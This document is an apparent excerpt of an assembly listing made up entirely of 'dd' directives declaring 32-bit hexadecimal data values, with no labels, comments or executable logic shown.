dd 1BC8D380h, 7859A201h, 5EACB40Bh, 0AE395746h, 339702FEh
dd 99FF1DC5h, 83A50068h, 9A6B6800h, 0BE5BC737h, 961513B4h
dd 0DC0D008h, 0C802061Bh, 8310622Ah, 0C084E8D3h, 0BB880916h
dd 10047C03h, 5820F28Ah, 8C59B870h, 0A475DC3Fh, 56800C9Eh
dd 1EB6C99Dh, 70A0E239h, 0E52A28E3h, 2F875B88h, 1E92354h
dd 0C77D9E97h, 73FEF950h, 194B0074h, 76DB31E8h, 47F339ACh
dd 0AA459Fh, 6BD48748h, 1FEC0C1Bh, 0BC3C4148h, 87178CE6h
dd 8C64856Eh, 3ECD9C02h, 0A5EC94CCh, 6064C418h, 16B8C19h
dd 239C7E71h, 23C0A8A1h, 30B1B2C4h, 0CB02A471h, 0C1AE498Dh
dd 9D7CC1C5h, 274AB028h, 0ED1EB048h, 8900A58Ah, 0F315EB3h
dd 7A49BE78h, 9A278017h, 0D9D5F013h, 66425447h, 821469C3h
dd 223C4982h, 0C808E4h, 0EF0D5902h, 0A30A217Ah, 99E04900h
dd 1CBF6C27h, 0B89088h, 21B535EBh, 0CA58B816h, 16340D48h
dd 3C30BE22h, 405F0164h, 230961B4h, 702EECB9h, 8054995Ch
dd 6397E1D6h, 75274523h, 3EE09D33h, 5C030946h, 0D1A32095h
dd 9901EF0h, 7E82B70Ah, 3D649882h, 11D63C5Eh, 1508E5F4h
dd 0A0EFB6h, 16E9022h, 1231F57Dh, 186E443h, 0B662E64Ch
dd 0BC043C58h, 0C4098CD7h, 422B7CAFh, 642EC094h, 0AF609B0Dh
dd 61911895h, 99BAEC80h, 0FE0121E1h, 0B96B543Fh, 1870D860h
dd 1CA1CE0Bh, 1DF96F0Ch, 85581A00h, 0D134E9ACh, 0C8A100F8h
dd 0C0098406h, 0F90C6A39h, 316EFE83h, 23F74821h, 48FD1D00h
dd 6745DDA4h, 8F464B00h, 0D118AF2Ah, 3872F3FCh, 0C854CA92h
dd 0CDAEC0D7h, 0D60A4F9Fh, 0EC9AE766h, 0E08C802h, 9C78CCEDh
dd 0B3465664h, 68FFCF14h, 5180F63Ch, 0E8FBC439h, 2043EB3h
dd 0B8664738h, 0C71E5980h, 0D39DE001h, 4B880031h, 0B5A727A8h
dd 0D5C4F200h, 0C5D436B6h, 5B4C00E4h, 13822045h, 0A5F0ED7Dh
dd 56B6D60Ch, 1006C088h, 3DA3201h, 1DEE5F2Ah, 8C41B12Dh
dd 2F81A893h, 0AC231Ch, 2E01225Fh, 74001955h, 9DA2C37Ch
dd 4B21ECF0h, 1E88017Ah, 368830FFh, 852F0014h, 0C589A695h
dd 0AA70794h, 763D1D55h, 0E10F61A2h, 817D302Bh, 86ED1045h
dd 5701B862h, 7019599Eh, 0A0463A0Dh, 0E9A11A2Bh, 9692CC47h
dd 0B64C407h, 4B710A4Fh, 0E5B5FC68h, 0E8E8F8ABh, 0E71D301Bh
dd 1205269Ch, 0B8407FFFh, 845A828h, 47523CD0h, 8B1044DCh
dd 61212B2h, 0CCCB9874h, 7EC06688h, 0C0B01957h, 9583D42Ah
dd 0C60953AFh, 985F06E5h, 34F97C64h, 827896A6h, 0F0D93964h
dd 3F187771h, 0A6E0C11Ch, 0AC1AC2C0h, 3EFF4526h, 0B73F151h
dd 6958221Ch, 0D511B01Dh, 44CD2080h, 1D09A510h, 423A58BAh
dd 0FE50820Ch, 2060527Bh, 0D348E082h, 0FE9CC54Ch, 63D43089h
dd 5A01262Bh, 4F3902D0h, 8489B5Eh, 0D7FA8665h, 0F300C4BCh
dd 0DF589C3Dh, 0E2060C66h, 0BD18D18Ah, 9A013225h, 0C448C5BCh
dd 73586065h, 4D993E1Eh, 0AB881700h, 7720F4ACh, 3DC28BEh
dd 3008EDB8h, 8D819C86h
dd 0A3ABEC1Eh, 0D0D2D80Fh, 1D495FDh, 0A003BE50h, 0A1E0C572h
dd 167A008Bh, 13C40785h, 0C4B8771Ah, 0A7CF0C14h, 595D1094h
dd 9A241658h, 0CA0D9D4Ch, 1680AE81h, 0BACC60C1h, 0BB4425F0h
dd 828D041Bh, 0FCB92B2Ch, 683C04h, 0BB50175Dh, 816F13E9h
dd 48FAF6ECh, 7F7EE4A0h, 3C284A00h, 1D185FA2h, 0B42E53DBh
dd 2B305AA2h, 0A41F4945h, 75E7582h, 291A6869h, 8C63A87Ch
dd 995C5E00h, 9CA9B13h, 7D12026Bh, 6AFD240Bh, 0E3212C5Ah
dd 89527BFh, 1680D591h, 0B6C766A5h, 2100C174h, 0D6CF922Dh
dd 4ACB4E52h, 0D388C06Fh, 1A32B6D4h, 6209106Ch, 7964514Ch
dd 0E32D18D3h, 0E7A5B06Fh, 0C53AC304h, 74B80660h, 128C6FBCh
dd 0CCC606D2h, 4A091D64h, 0C7ADC187h, 60D044D4h, 0E180B0h
dd 10B1FFA9h, 4B611B54h, 2700525h, 0BBB3F24h, 5A11301Dh
dd 0F8F2482h, 5EB88840h, 489A2358h, 0D21C0490h, 6C01C056h
dd 0AAC9089Dh, 4C706C59h, 7D66109h, 91E01733h, 0FF2C8068h
dd 166A04C1h, 90A9644Fh, 3B9AEA64h, 0A4D5F02Ch, 0DA057D1Fh
dd 80B3BDD2h, 0AC30D4B2h, 0EDE21FA2h, 291BC92Bh, 0AB0864A7h
dd 68297D8Bh, 365838DBh, 34BD1CFEh, 59FD43F4h, 0ECE05BC2h
dd 5EF4D1D9h, 0C14AD574h, 7723882Fh, 0EEE49D00h, 79BA647Fh
dd 457300F5h, 0F6747E2Ah, 84016B25h, 56CDE3EDh, 1800C8BCh
dd 9800442Dh, 0E6A59660h, 0C0ECB507h, 4CDE31B1h, 9BF4C56Eh
dd 58443Ch, 0E7AA85BEh, 24667595h, 28A4188Bh, 6DA14E8h
dd 0E6F8B8BFh, 1E32138Ch, 0FC3CCD66h, 0C77D952Ch, 84AAC388h
dd 6861BC8Dh, 0A4C03A2Dh, 379C0434h, 0E2E45DBBh, 401B1368h
dd 0D723042Fh, 714B0A00h, 0E82E16EBh, 6E310B3Bh, 0D4406A5Eh
dd 0FA011885h, 21061E91h, 403812C6h, 0E824EF84h, 6C305F78h
dd 12ECEAB5h, 0F04FB3FAh, 0FF1F21EEh, 0B00071F5h, 82FC55CEh
dd 66D31695h, 1A0C82A3h, 68516073h, 2A0A1618h, 0E2713439h
dd 82C8200Bh, 17C3218h, 281A187Fh, 0B39C048h, 9D94201Fh
dd 63005416h, 60FE0B31h, 996B294h, 0A7C1E85Dh, 5A00F0E4h
dd 1FDBA430h, 4F1BCC47h, 956C00AFh, 16B4D97Ch, 804BC012h
dd 0AFE220B2h, 56B6D30h, 0FE8B0891h, 99B04087h, 82A44A73h
dd 81D47E3Bh, 0AC208A97h, 0C8FD1431h, 0BB202828h, 5969A4B4h
dd 18767974h, 37EF07C7h, 0F3DBF412h, 61D31EE9h, 0DCD30FAAh
dd 0D2BC6509h, 7B79C4h, 0CDF28776h, 25D773B5h, 0DA1C670Bh
dd 35A8A3CAh, 0D0009589h, 0F0605265h, 21465EF7h, 406F8EF8h
dd 7E5483E8h, 824E2900h, 23630DE5h, 0D06569B5h, 91EF8865h
dd 1C5808Ah, 0F1CE2334h, 5586F4C6h, 0E29F5E27h, 840C7910h
dd 0A421ED1Bh, 0D30B1EDCh, 83847DACh, 0C038414Fh, 794374A5h
dd 80239D28h, 6EB16631h, 0AC983D81h, 993003DEh, 7EDAA3D3h
dd 78C6EEA1h, 0AE850A30h, 82C0E8CBh, 911D34F7h, 832A9F98h
dd 5ED41AC8h, 4CF27EC2h, 197058BBh, 25470BBh, 2362EA81h
dd 0C8F27009h, 7CBF9220h, 130D5B65h, 0F794A2A8h, 0F620C038h
dd 1777F42Eh, 4C8F2C01h, 97B6E17Dh, 4AC9A46Dh, 6626E402h
dd 233D7D00h, 37D62C84h, 8D961F0Ch, 80B028FDh, 0CFB75F61h
dd 184FF161h, 199AFF0Ah, 0F6000217h, 31F56792h, 284D70h
dd 6BD4881Ch, 6DE89F4Ch, 0B552E212h, 0B4128CF0h, 17DBC0B4h
dd 91220F3h, 8429DC4Ah, 23842F3Bh, 1A0305B3h, 3AAA12C3h
dd 3AE2350h, 0CB14B0ECh, 52994BB8h, 478B4494h, 719CE9BEh
dd 0E0980BCAh, 0FF0E7EFBh, 62446F1Eh, 48E7EB05h, 27664064h
dd 2002D2F4h, 84B2C2A4h, 0D7E46CE5h, 3650C660h, 98D2A72Bh
dd 0B718AB59h, 46004CE6h, 0E5125E65h, 0F8BE99h, 9B1103CDh
dd 152B6310h, 2846854h, 1D80B4EEh, 0B07CE706h, 28C59BCh
dd 3362F6BCh, 0B09053A5h, 1680C913h, 0D0CB091Ah, 0F45043B6h
dd 1F17B702h, 0F8C15362h, 7033FB80h, 0A3FC24h, 0FDB39214h
dd 0A039C67h, 0C339D52Dh, 0F535A821h, 66BF0B79h, 0F0D97BAFh
dd 0DC18ACD9h, 7501B9F8h, 0B48F93B7h, 50F9F78Dh, 0F82ED980h
dd 1907EC16h, 9AF2E403h, 0FB8EB824h, 0A506C028h, 7950B940h
dd 0E76C18D7h, 52CD8F8h, 346A8FA5h, 0E3EC81DFh, 548104C0h
dd 17DC8D52h, 40944A96h, 9A9106ACh, 10003F3Ah, 62270357h
dd 0BDFCEED8h, 0AC837089h, 2BB94A39h, 0D8202A57h, 4979A6h
dd 0C630F9F1h, 0AB151AD6h, 0C9B6BF0Fh, 454A2070h, 1F265C76h
dd 45529D6Ah, 56551B62h, 0C5F861E4h, 42A05096h, 54394E57h
dd 0A21D89B9h, 29998006h, 0BF39D0Dh, 0EA011EA8h, 0E402DC41h
dd 0A5FCDE1Fh, 0F48D222Eh, 0E8B28296h, 23AC2B4Eh, 0C53A008Bh
dd 0CEDBE532h, 0D46EF816h, 0E133E842h, 0D934F13Ch, 7441876h
dd 55AAF8B7h, 81B1A43Dh, 0C665A7F0h, 0C2736840h, 988EAD4Bh
dd 0D6C0E888h, 9AF2147h, 8852B6D3h, 9D0068D2h, 0D59B0D2Fh
dd 18090878h, 68A36B02h, 0C7025361h, 0EC9F2EC1h, 0BBE8A07Bh
dd 30CF0159h, 0E361BA07h, 0CB099445h, 7813AD7Ah, 1B871770h
dd 7024B4C2h, 0A00B9425h, 5F6A657Ch, 0A8626040h, 904F105Ch
dd 0F9061A03h, 17618D12h, 0E2E6BFC1h, 3077F2E8h, 7E052FFBh
dd 0FA1F4973h, 20750C0h, 0A4099D33h, 38003CF1h, 0DF43A609h
dd 1A57277Dh, 0ACE454C5h, 5F06C460h, 8DF57700h, 549D0CD0h
dd 0C2D92667h, 0D83D80F0h, 6683B83h, 150B0A0h, 201B1940h
dd 0EB00C292h, 0BC38079h, 0B50AB67Ch, 0F7C01407h, 64A820EDh
dd 0DD00ACC7h, 603607FEh, 275EBA90h, 8800BF53h, 0C5CD208h
dd 0D60358C0h, 36B5FEh, 92D3E412h, 0DEEE50BEh, 0B84C8890h
dd 6A809F74h, 0C406199h, 0D7A51EC5h, 0C3D2817Ch, 548BBC65h
dd 0E080F6F8h, 75523D4h, 5D474B92h, 6CDAEB42h, 132B0B00h
dd 0C301CC52h, 8B12183Ah, 90918CD1h, 0ED0D2504h, 50F0151Eh
dd 0C70C171Ch, 0DA631319h, 0FA08C008h, 13036698h, 88C2E9EBh
dd 35484048h, 0F2DB09ACh, 5190F978h, 414E0C65h, 2E342084h
dd 0F6D1E740h, 7CB19F21h, 50623E22h, 38F205B5h, 138EBA20h
dd 0D047830Bh, 7420EFB8h, 5091E496h, 769F6A00h, 0D2A8C6AFh
dd 0CF079A77h, 0F7C778A7h, 7435B0ECh, 43EE25C8h, 0D360686Dh
dd 0B5065A7Ch, 9FD98898h, 0C33D40A0h, 98FFC502h, 409176D2h
dd 0F8D0BE4h, 8347B0D7h, 0A66CBDA2h, 9024C4h, 6225232Fh
dd 449755D8h, 0B5877191h, 235FC1F1h, 27C6C0Dh, 5835F782h
dd 800076BBh, 0E33EF1C1h, 9DE8C61Ch, 0B3B7139h, 5AC330EEh
dd 50A01E00h, 6DF780BEh, 80844514h, 0D71C100h, 6B934D5Ch
dd 27AC9823h, 0B8CD5FA2h, 4D647EC0h, 0FB7C0B71h, 7885D8C7h
dd 4BA4206Bh, 84A4593Dh, 465EC09Eh, 1FAD00D1h, 3A94EC70h
dd 973035Bh, 2D18803Ch, 40BE2AE8h, 11C1704h, 0DCE7BADBh
dd 740393A0h, 0D5DF9501h, 0C6629F4Eh, 0CA98043Bh, 81CF8530h
dd 7534E800h, 53184194h, 3E5862C9h, 0C8584283h, 12E80F24h
dd 314BDFEh, 99240B3h, 1AABF839h, 8F380513h, 81B049B1h
dd 774BDACh, 0C2631053h, 0B545C85h, 44104B82h, 139081Dh
dd 0C8C0CED2h, 25852B5Fh, 809D2F97h, 829F6F11h, 0C43F021Dh
dd 39F1F0C8h, 706424A5h, 56B1D660h, 0C08EEE2Fh, 12010CE4h
dd 0F30FEA16h, 3068A2A0h, 0B90067B7h, 0F44F88DAh, 0B4E6BCF5h
dd 88A81468h, 0A9E5118Fh, 0B2FC53E1h, 3363F248h, 0D8FDA5D1h
dd 0E607B5DBh, 0AC2D21A9h, 0EF42E1C7h, 129456AEh, 9CE0C2D5h
dd 8142BCE3h, 305AE238h
dd 97047156h, 0DFD5F920h, 0EA2AD0EDh, 9F860A9Ch, 7430BDADh
dd 65076646h, 0B0C6F5EAh, 870EEC49h, 22EDA304h, 8A3AFCBh
dd 903070B2h, 667616ACh, 2894808Bh, 0BD41A959h, 41300E7Fh
dd 0C4DA9290h, 76CA8080h, 1C04FD42h, 580134D4h, 485855AAh
dd 0F1010DB8h, 1301B707h, 0D472E4C2h, 23642F4Ah, 6D4E00AAh
dd 9D5E580h, 93FD793Ch, 6C449D54h, 89A34BCh, 6C894E00h
dd 0B56A4FB6h, 8B40E30h, 7DACFB45h, 8966004Dh, 8CCFEF82h
dd 4900FFCEh, 0C45C9B85h, 7CA7BF05h, 8A360122h, 91D0B2FBh
dd 173881FAh, 0ADF0FCF8h, 53411180h, 0B7B66589h, 3A4434A4h
dd 896B0061h, 4103BE9Ch, 0FA00A149h, 0EF7B8AB7h, 1DAE924h
dd 75A617A5h, 15B4D02Bh, 0E71A380h, 0A0C3003Eh, 0A1A9E353h
dd 0F0F37EF2h, 4C0FCA46h, 6048B3FAh, 997AAD81h, 4DAE3C76h
dd 0F4161A00h, 9501A206h, 9677BFCh, 206C1208h, 0F3FF003Bh
dd 70A8C788h, 0C11485B3h, 0AC6C14ECh, 43008C49h, 0A153FE99h
dd 0DE4201E1h, 0B1EB9E1h, 808A1D37h, 0E871CCDFh, 3C0C13E7h
dd 0D068F5E3h, 31476003h, 0C1CE2BE9h, 22D94D2Eh, 0ED41441Fh
dd 9E353D74h, 46BC71A0h, 0E05028FDh, 505FB629h, 4E004611h
dd 0E5338968h, 0F402F520h, 16DAFA56h, 73A0801Eh, 0A4A66491h
dd 3AD00B8h, 1A521338h, 0CA1D4914h, 0A518176Dh, 0FB7321h
dd 0E53B937h, 0DE896202h, 9549A112h, 4523083Ah, 98ABBF00h
dd 1240F37h, 0EE351748h, 4047CA2Bh, 2284AC88h, 90A94BE0h
dd 426EF889h, 0B7B8CA3Ah, 50C048F8h, 0EA418F0Fh, 96B11E4Ch
dd 80307084h, 8937DADh, 9F41503h, 0B86794A2h, 0F3FE3A80h
dd 0CE1B0B2h, 49A03114h, 8C002A79h, 4DDD10F7h, 8B7A0Bh
dd 1E05C226h, 27EEEBCBh, 0D7658500h, 2C03811Dh, 0B6E504FBh
dd 819E55C4h, 53B3F7A0h, 6BA26FA0h, 3806B8B0h, 0F2521611h
dd 0A80A788h, 34A37DEh, 90A10E8Eh, 5B89E352h, 8A9D8420h
dd 281C7796h, 5828F84Eh, 0EC684C00h, 4DD1C75Ah, 7A2F3377h
dd 21075B08h, 0D3EC800Bh, 0D9985700h, 0DE4E2926h, 0EC820120h
dd 1881C750h, 0E06D8957h, 5202F0ECh, 0C67C598Fh, 0FCCE809Ch
dd 0A87B31E2h, 643FAC0h, 0A5A77E20h, 5E1ED1B7h, 0D94FA478h
dd 0BCB10322h, 0A310F0E7h, 9A9009EBh, 1098D651h, 7B03674Bh
dd 2ECEC682h, 0D11F8038h, 6BB6009Eh, 6DD96903h, 5E289CB4h
dd 0C600B49Ah, 0B840672Eh, 24FBEED0h, 24EEC2FAh, 0D2980114h
dd 2167E63Dh, 821F180h, 70E8C68h, 0F0521738h, 37DFF0E7h
dd 0BA14D2D7h, 2AC4613Ch, 5546ECCAh, 14380870h, 0C3C42252h
dd 37F89040h, 777C974h, 81795C01h, 9F8C1E02h, 3E4C4h, 197BD20Eh
dd 5AA9161Ch, 54229624h, 9E737080h, 2C10D38h, 3D586223h
dd 884AA434h, 1985C4B7h, 0C0C0C12Fh, 5E39FDBh, 31F4B744h
dd 0C0AC1DBBh, 0D2A18687h, 9CA0391Eh, 61C3A823h, 0BEC6A4B6h
dd 86660428h, 0C0B720F7h, 4E2736E1h, 802CDF49h, 0C751EC83h
dd 5A448C69h, 0EC7B090Eh, 9085B65Bh, 0C2B05F85h, 4B0F26C1h
dd 0A45CEC80h, 70C9AE3Ah, 1980200Eh, 4C740B68h, 0EA1E4CA9h
dd 0D354006Fh, 2096E0C7h, 0B9B59CA8h, 9FD9E03h, 0B19CA661h
dd 7FDC6BB1h, 14644DADh, 4F41880h, 448C11A2h, 19013924h
dd 4686D6F4h, 0A45031F2h, 0E816C389h, 0BC4700E9h, 0EF249169h
dd 6024B52Fh, 0C58290F5h, 47FA8EB0h, 8F916F18h, 56CE800Ch
dd 1C31C28Dh, 0A809768h, 84A04C32h, 0C28E8ACFh, 1230667Ch
dd 0A20208F4h, 26649A21h, 0F41BB740h, 0D31441F6h, 0EF03412h
dd 2172D8B8h, 80F53002h, 26FA288Ah, 52465EE8h, 6A998E03h
dd 0C1E07D8Ch, 0A630A951h, 7AE5D9A4h, 106E0A2Ch, 0A48A63h
dd 0C5F6B24Ch, 8D005869h, 2B2C4B20h, 0F728742h, 0F730B990h
dd 0FC604E2Ch, 14DB3B09h, 4C140667h, 2BCB24D4h, 21842840h
dd 5A81F11Bh, 0EFB66889h, 0BEE4C5CEh, 75895280h, 0BD70DE59h
dd 44030E00h, 1145CDC2h, 7BDC9973h, 0E35662E4h, 51C0B7DAh
dd 219D82Dh, 0F29EEC9Ch, 0B4813D72h, 0D247634Dh, 0CB2D9882h
dd 54778C90h, 0BCC62C12h, 0C8027413h, 0E95C552Bh, 0C7104A18h
dd 7304B58Dh, 0D3B4F4C2h, 0BAC0B8C7h, 52F55A8h, 3368541h
dd 86880F11h, 0EC03200h, 0F3003E0Ah, 3D2C5915h, 90ED9F7Eh
dd 76A4648h, 52153809h, 0C13217B4h, 37E10D20h, 8C390B4Eh
dd 4C06E5AFh, 7B26A1A5h, 0F944BCF2h, 2AB814D0h, 0A1489264h
dd 13186350h, 0A203F408h, 400EC439h, 0CDF41CB4h, 0DFD4003Ah
dd 277B8F7Eh, 0CA51FAC0h, 0C0D01B34h, 39E5E695h, 100B0C85h
dd 75C8AE03h, 52FD6A40h, 672330FAh, 12380203h, 0C2629452h
dd 37307627h, 2C3A5h, 0E3A9BA5Dh, 5848DD56h, 2C4840B1h
dd 0C04654h, 0E9AA82B0h, 122685BCh, 8BB7A52h, 4CC01978h
dd 25B66E89h, 0C814697Fh, 890564ECh, 0D02A591Ah, 145250C8h
dd 804F08BBh, 0FFD29F02h, 74606D39h, 0AE12702Ah, 0FC9A1448h
dd 0A0057FC0h, 0BFE53EEh, 71B9A130h, 2C9F8E4Dh, 84E0A56Eh
dd 8021C33Eh, 0D5F4B258h, 2E184A60h, 609D7244h, 606B3CDFh
dd 9F493069h, 0D05810h, 0DCEF08Dh, 92033EB8h, 20F8A8h
dd 2C67C5B4h, 4484D919h, 798E5037h, 79164F00h, 20EF05E3h
dd 8EAB6AB9h, 0C0568858h, 0DB68F517h, 0D7C14814h, 23944890h
dd 0EC6C0FFCh, 0CE71C745h, 640F00C8h, 9CBAAEECh, 6BF828DAh
dd 6F94A1C0h, 0C1F25072h, 264BEF30h, 8EE43674h, 0BBC0C471h
dd 8ED0B321h, 0A61E2F14h, 8D0477ACh, 6EC2A3ABh, 779A8B0h
dd 576A77B6h, 50458FB4h, 1E44033h, 65F09E2Fh, 0DB003875h
dd 0C1FDF254h, 0ECAD7EEEh, 8129C03Ch, 41F15EEBh, 78009D71h
dd 5CE535DDh, 14CBCF04h, 0B411A4D5h, 0B072E041h, 95178900h
dd 3E9726B4h, 0E302F4B0h, 0F36D3FC0h, 78B7E19Dh, 6FF14420h
dd 18406937h, 0F76A70FEh, 0BB155600h, 0C386415Bh, 2420901Dh
dd 40107B30h, 0E6A06F0Dh, 0F736B30Bh, 11101F28h, 105893Dh
dd 3036A760h, 20D51892h, 0A27A0228h, 0A8342830h, 4D50DB3Ch
dd 2BB1886Ah, 0D8320D36h, 6F300FE2h, 9D160020h, 0FE8C8225h
dd 0AE05A463h, 0B6F9072Eh, 0EAB2C0C7h, 0B8F488BEh, 4860FB12h
dd 235DEC6Fh, 5111C9C7h, 0EC670A02h, 0D1C070E3h, 0CF48E1CBh
dd 0D8B02496h, 91641D25h, 298B80C3h, 0BD20FF5h, 981E9460h
dd 0AD8D0C02h, 1011849Fh, 0DBED9D80h, 0A5731AE3h, 256CB87Bh
dd 48AACA21h, 0BC1C6C31h, 0C86314DAh, 0A0F27905h, 49D40B36h
dd 58492889h, 3A422A5h, 7E78D8BCh, 2501FF5Fh, 61D61418h
dd 824B784h, 79C413B4h, 5990D1A9h, 38B02520h, 1E961890h
dd 39B1FC89h, 0EA0FCC2Ch, 2814ACEh, 0A55796D2h, 11549DE8h
dd 97868013h, 2A24EC41h, 9C40854Ch, 0F11A62D0h, 6B89D01Bh
dd 698721B6h, 7D4791h, 131B8965h, 10F0E46Eh, 0A0A62D25h
dd 94ECE9DCh, 8E550030h, 2AA94231h, 0AD00A225h, 0A32D9CAh
dd 2CD29C6Dh, 0AE6C3316h, 0B700D670h, 0B862F343h, 4C5534F5h
dd 80160DAh, 0FDA094CFh, 0B24063ACh, 0E8963046h, 4BB1F607h
dd 0C2D2411Dh, 88C8438Fh, 0BCA008h, 0BACEB553h, 0C92DADF4h
dd 6D995E61h, 0BC502996h, 0A8585Bh, 2F1FEE11h, 8E90B221h
dd 4BBDAB01h, 8CA47FD2h, 0CE018433h, 0BA8D4002h, 9DB9D4B0h
dd 97482307h, 65102DB2h, 3073F7h, 53BE1E8Ch, 0EAA4A0A2h
dd 428BD48h, 0C7F8EC8h, 3A154C0h, 509259h, 5E2B998Ah, 0B4445062h
dd 0B51FBCE2h, 0D4876D7Ch, 14F01AEEh, 0E0E2C882h, 0E0E7269h
dd 0B11BBB0Bh, 6A87A080h, 0F0950FCh, 404E9739h, 0B2C5A24h
dd 0C16B7ECBh, 66E8008Eh, 3DDE5B09h, 442C0324h, 91E73F08h
dd 915DAB0Fh, 518B5E48h, 67B60C82h, 4F604C71h, 0FEBF8969h
dd 46F4FDh, 0BA16B806h, 0CDB1E7E0h, 1DD73000h, 0D3EB0E54h
dd 0FC5F095h, 0ECB35294h, 7FA1C078h, 88A81F24h, 0A3655F64h
dd 0C746888Ch, 0DF6F0039h, 0A0093FDDh, 18E02DAh, 7EED3C1Ch
dd 10F2DC22h, 0EAA830h, 8B56B3FFh, 64DB52E3h, 0BBB06C61h
dd 0B84EB9A4h, 0AEC04488h, 6233BFh, 0BA5A184Ch, 1CCCEBCAh
dd 553DD700h, 9CB7E7B5h, 30AA48AEh, 56016802h, 0E37EBA8Ch
dd 0DF78FD00h, 74C5DBBh, 9A3D392Bh, 90C855F1h, 32F2ACA0h
dd 0ED1371C0h, 99C0D0Ch, 0F6E4C37Bh, 0EE903A01h, 4200604Eh
dd 0E9A4175Ch, 3CA330E6h, 380FE27Dh, 92DAE5B4h, 5468C099h
dd 0EC8CA7ACh, 9E410460h, 0C74A06F2h, 0B4E2374Ch, 72F0A14Dh
dd 13B43BC4h, 0E8D2548Ch, 1C44F2h, 98AD0586h, 5DAAD2E6h
dd 465EB494h, 651F0546h, 5280B81Ah, 92B6DAA1h, 0FFD50124h
dd 813D2C58h, 65D0209Fh, 0B208E89Eh, 289609F9h, 44E72020h
dd 903474Bh, 0AB9A9DC5h, 5059E0DBh, 0B8A35C72h, 7ED4094Eh
dd 27C468E5h, 47644060h, 12E38613h, 2CB63C02h, 8460DB16h
dd 0F014DA4Ah, 905DA1CCh, 342BC04h, 0FFA18A72h, 48823C56h
dd 54270448h, 3D031D00h, 0C884141Eh, 38CE7894h, 4899B24Ah
dd 20547846h, 0E0BB1468h, 3331E270h, 2A714FF5h, 963E9CF8h
dd 206B6F4Eh, 0F773D201h, 0C88576FCh, 3D092445h, 65285399h
dd 6055C400h, 7058187Dh, 8008BE67h, 2F22BD39h, 816B3D6h
dd 2492A409h, 0E35220CEh, 8CA151F1h, 4A046933h, 5323402Fh
dd 4F40A21Ch, 21C33FA6h, 0A736004Dh, 0A892898Bh, 0ACB99997h
dd 27037503h, 0B211F00Ah, 4CA9202Ah, 8AC95D0Ch, 9252528Eh
dd 0B520C470h, 97B1004Eh, 0B91B2BB8h, 0D815AF7Ch, 2831091h
dd 9DC04ADDh, 0DC90A5BBh, 9439020h, 3AC6FA19h, 923CE807h
dd 54015BFDh, 9C7C02C2h, 38C3ABCh, 0FA9F71F4h, 580753F2h
dd 35AD3A88h, 48B89B21h, 0C7C82DC8h, 0A07BA130h, 728755Fh
dd 9430BBFAh, 0C75A803Dh, 15B4B2Eh, 0F5C4B63Ch, 26606CAFh
dd 4674286Ch, 3152013Dh, 0EC9C9D32h, 0DE879878h, 4A782050h
dd 57036C75h, 7037594Bh, 235D890Eh, 0F530A440h, 0C31CA1Bh
dd 2CAB2DC8h, 32E2BE03h, 84F2E829h, 0C93C5100h, 3DF149A0h
dd 78A6B7h, 2570A2E7h, 798436A4h, 0EF475304h, 408D4001h
dd 0EC6E30CEh, 6143C7E6h, 0EC660980h, 0A00B93Eh, 54E85E75h
dd 90F5E663h, 0ACD51370h, 0ED3800DFh, 860A0E53h, 36B47900h
dd 3230E5C8h, 2A101280h, 8B10B0A1h, 630E8C4Ch, 5843965Ah
dd 68106CD0h, 6D48603Fh, 0F92FF8h, 15105061h, 8ADB0E67h
dd 25557807h, 2D816A17h, 0D442D056h, 1CAC507Dh, 6EF83643h
dd 5700F628h, 0B9FA64BCh, 20F340A6h, 0B8258F8Eh, 24C69B0h
dd 12FE848h, 0F8DB0640h, 0D0313CA0h, 0CAECC781h, 0D8488233h
dd 55F4E96Fh, 5144A98Bh, 0C4B45C10h, 1896F137h, 0A4478663h
dd 98BA8CE0h, 10BB24A6h, 566AB150h, 3950854Bh, 208B814Eh
dd 9FC00FC8h, 180488h, 7F9E6728h, 3EC5F280h, 78130B36h
dd 0A4292090h, 0AB148EEEh, 9ACB845h, 0C40CC92Dh, 71F4992Ch
dd 7818C3h, 29327628h, 0C2A0513Ch, 0F290AA54h, 0C3C03454h
dd 0D89F6B00h, 0B4F55CAFh, 0C94732A1h, 0E0193E88h, 28C690Ch
dd 52183804h, 0C541502h, 5FC7450h, 0B7B88F37h, 549C4077h
dd 5BB4D5EDh, 81A0A658h, 9AA44FA9h, 80DC68A9h, 90EE6CE4h
dd 0E501D7EBh, 51BE1834h, 0E82DA75Ah, 523B60Fh, 2AF857A1h
dd 74E0410Eh, 42146865h, 0C078F7D8h, 84F9CE03h, 17FDDC01h
dd 969CB72Eh, 4801AC7Ch, 1CF73189h, 0E228634Eh, 0AB1A3056h
dd 0D43F9301h, 4ADF8EC7h, 1C99B441h, 0ECDA8980h, 0FF471FF1h
dd 4C4B501h, 64E4E7C7h, 959F9830h, 9E00E40Eh, 6EF053C2h
dd 0E310E490h, 322F637Dh, 3C438422h, 9650BC5Ah, 2D00B430h
dd 0B91B1363h, 7542A62h, 6FEA6015h, 2C3431AEh, 48F1A822h
dd 0B71A4B10h, 4AB3684h, 74880FB8h, 713D6002h, 5E1C78Ch
dd 9C16DE01h, 0C03671B3h, 4F83930h, 1AFA9E53h, 68408040h
dd 4A322D2Ch, 0C1AD689Dh, 2E5318h, 0CCFBD68h, 0C20C2117h
dd 800DFF3Eh, 80389C99h, 75D55C79h, 0B000E310h, 0FDA8EDECh
dd 277651Bh, 929F2394h, 422034F2h, 38EF142Bh, 4F8F97BFh
dd 10005B91h, 1830F68Eh, 0C32A6A12h, 0B2B82821h, 7A0402Eh
dd 0EB744ACFh, 0E8A9D50Eh, 1405E139h, 0C7C8388h, 4C30F2BDh
dd 0AA6113FDh, 3F00BFB0h, 7CDA9479h, 2CDCA047h, 4A960001h
dd 0AD0B2E27h, 3EF89C2Ah, 0F12F5505h, 0A0C460B2h, 45888CCEh
dd 9148C8C0h, 0F4D803D9h, 0B2C2DADFh, 0B8C81DAAh, 0BA2ED20Dh
dd 2D869810h, 1EB9B52Eh, 4FF89CDh, 9074997Eh, 238337A4h
dd 0F2E20800h, 14D2F093h, 2590B66Fh, 0A6914817h, 305B5581h
dd 5C22A3h, 9493CB2Ah, 25C24B25h, 4CA259F4h, 20B4096h
dd 7A6564h, 425AC29Fh, 699D6496h, 56E55B20h, 0E8E0C174h
dd 0F2A30067h, 2680B256h, 444C4E10h, 80C8B8FAh, 3BEDBD6Ch
dd 0EA960FE8h, 0C84E6286h, 95D5D360h, 0BA120EC9h, 5C0BED1Eh
dd 0E5D44481h, 0F4701418h, 1131A223h, 87653A15h, 426123F4h
dd 0C92BDE11h, 3C0B8832h, 0D4A028DBh, 83EC35Dh, 5FC6C48h
dd 0CFAA9C56h, 0B6F5DC06h, 6F481431h, 11AC407Eh, 1FA4EA8Ch
